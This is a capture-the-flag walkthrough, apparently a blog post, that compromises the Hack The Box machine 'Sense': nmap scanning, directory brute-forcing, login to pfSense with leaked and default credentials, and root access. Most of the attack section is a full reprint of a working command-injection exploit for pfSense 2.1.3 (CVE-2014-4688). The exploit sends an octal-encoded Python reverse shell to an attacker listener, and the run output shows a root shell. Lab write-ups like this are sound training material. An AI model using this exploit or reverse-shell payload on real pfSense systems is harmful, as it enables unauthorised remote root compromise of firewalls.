HTB – Sense

Today we are going to solve another CTF challenge “Sense” which is available online for those who want to increase their skill in penetration testing and black box testing. sense is retried vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level, they have a collection of vulnerable labs as challenges from beginners to Expert level. We are going to start a new series of hack the box beginning with Sense craft which is designed for beginners.

Level: Intermediate

Task: find user.txt and root.txt file in the victim’s machine.

Since these labs are online available therefore they have static IP and IP of sense is 10.10.10.60 so let’s begin with nmap port enumeration.

C:\Users\jacco>nmap -sC -sV 10.10.10.60
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-13 19:23 W. Europe Standard Time
Nmap scan report for 10.10.10.60
Host is up (0.025s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http lighttpd 1.4.35
|_http-server-header: lighttpd/1.4.35
|_http-title: Did not follow redirect to https://10.10.10.60/
443/tcp open ssl/http lighttpd 1.4.35
|_http-server-header: lighttpd/1.4.35
|_http-title: Login
| ssl-cert: Subject: commonName=Common Name (eg, YOUR name)/organizationName=CompanyName/stateOrProvinceName=Somewhere/countryName=US
| Not valid before: 2017-10-14T19:21:35
|_Not valid after: 2023-04-06T19:21:35
|_ssl-date: TLS randomness does not represent time

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.07 seconds

Knowing port 80 is open in victim’s network we preferred to explore his IP in the browser but didn’t get any remarkable clue on its PF Sense Login Portal for next step.

Now we have this Login Portal using DirBuster Tool. As you can see we have given Target IP https://10.10.10.60/ in the Target URL option. And we have given the path of the directory we want to enumerate which is /usr/share/wordlists/disbuster/directory-list-2-3-medium.txt.  In File Extension option we have given the format of the file which is txt. Then Click on start for BruteForcing.

After going through all the directories and file’s we came up with a conclusion that system-users.txt has the clue for our next step.

Now we have simply accessed the file using the browser by giving an input of https://10.10.10.60/system-users.txt, what we saw was a Username and Password which can be used to an accessed Sense Login portal. But giving these inputs didn’t actually log us in.

This made us curious, then we decided to take a little help from google. We searched for the default username and password for PFSENSE. The result we got can be seen in the image below.

Then we have given username as rohit and password as pfsense. Where r is in small letter these credentials have successfully logged us into the pfsense portal.

We figured out that we should try searching for the pfsense version which is 2.1.3 on google. And as usual, it came out to be a Remote Command Execution Exploit.

exploitdb python script

The script can be located here.

#!/usr/bin/env python3

# Exploit Title: pfSense <= 2.1.3 status_rrd_graph_img.php Command Injection.
# Date: 2018-01-12
# Exploit Author: absolomb
# Vendor Homepage: https://www.pfsense.org/
# Software Link: https://atxfiles.pfsense.org/mirror/downloads/old/
# Version: <=2.1.3
# Tested on: FreeBSD 8.3-RELEASE-p16
# CVE : CVE-2014-4688

import argparse
import requests
import urllib
import urllib3
import collections

'''
pfSense <= 2.1.3 status_rrd_graph_img.php Command Injection.
This script will return a reverse shell on specified listener address and port.
Ensure you have started a listener to catch the shell before running!
'''

parser = argparse.ArgumentParser()
parser.add_argument("--rhost", help = "Remote Host")
parser.add_argument('--lhost', help = 'Local Host listener')
parser.add_argument('--lport', help = 'Local Port listener')
parser.add_argument("--username", help = "pfsense Username")
parser.add_argument("--password", help = "pfsense Password")
args = parser.parse_args()

rhost = args.rhost
lhost = args.lhost
lport = args.lport
username = args.username
password = args.password


# command to be converted into octal
command = """
python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("%s",%s));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);'
""" % (lhost, lport)


payload = ""

# encode payload in octal
for char in command:
	payload += ("\\" + oct(ord(char)).lstrip("0o"))

login_url = 'https://' + rhost + '/index.php'
exploit_url = "https://" + rhost + "/status_rrd_graph_img.php?database=queues;"+"printf+" + "'" + payload + "'|sh"

headers = [
	('User-Agent','Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0'),
	('Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'),
	('Accept-Language', 'en-US,en;q=0.5'),
	('Referer',login_url),
	('Connection', 'close'),
	('Upgrade-Insecure-Requests', '1'),
	('Content-Type', 'application/x-www-form-urlencoded')
]

# probably not necessary but did it anyways
headers = collections.OrderedDict(headers)

# Disable insecure https connection warning
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

client = requests.session()

# try to get the login page and grab the csrf token
try:
	login_page = client.get(login_url, verify=False)

	index = login_page.text.find("csrfMagicToken")
	csrf_token = login_page.text[index:index+128].split('"')[-1]

except:
	print("Could not connect to host!")
	exit()

# format login variables and data
if csrf_token:
	print("CSRF token obtained")
	login_data = [('__csrf_magic',csrf_token), ('usernamefld',username), ('passwordfld',password), ('login','Login') ]
	login_data = collections.OrderedDict(login_data)
	encoded_data = urllib.parse.urlencode(login_data)

# POST login request with data, cookies and header
	login_request = client.post(login_url, data=encoded_data, cookies=client.cookies, headers=headers)
else:
	print("No CSRF token!")
	exit()

if login_request.status_code == 200:
		print("Running exploit...")
# make GET request to vulnerable url with payload. Probably a better way to do this but if the request times out then most likely you have caught the shell
		try:
			exploit_request = client.get(exploit_url, cookies=client.cookies, headers=headers, timeout=5)
			if exploit_request.status_code:
				print("Error running exploit")
		except:
			print("Exploit completed")
usage: exploit.py [-h] [--rhost RHOST] [--lhost LHOST] [--lport LPORT]
                  [--username USERNAME] [--password PASSWORD]
root@kali:~/htb/sense# python3 exploit.py --rhost 10.10.10.60 --lhost 10.10.14.20 --lport 443 --username rohit --password pfsense
CSRF token obtained
Running exploit...
Exploit completed
root@kali:~/htb/sense# nc -lvp 443
listening on [any] 443 ...
10.10.10.60: inverse host lookup failed: Unknown host
connect to [10.10.14.20] from (UNKNOWN) [10.10.10.60] 25568
sh: can't access tty; job control turned off
# python -c "import pty; pty.spawn('/bin/sh')" 
# whoami
whoami
root

Author: Jacco Straathof

Posted on

Leave a Reply

Your email address will not be published. Required fields are marked *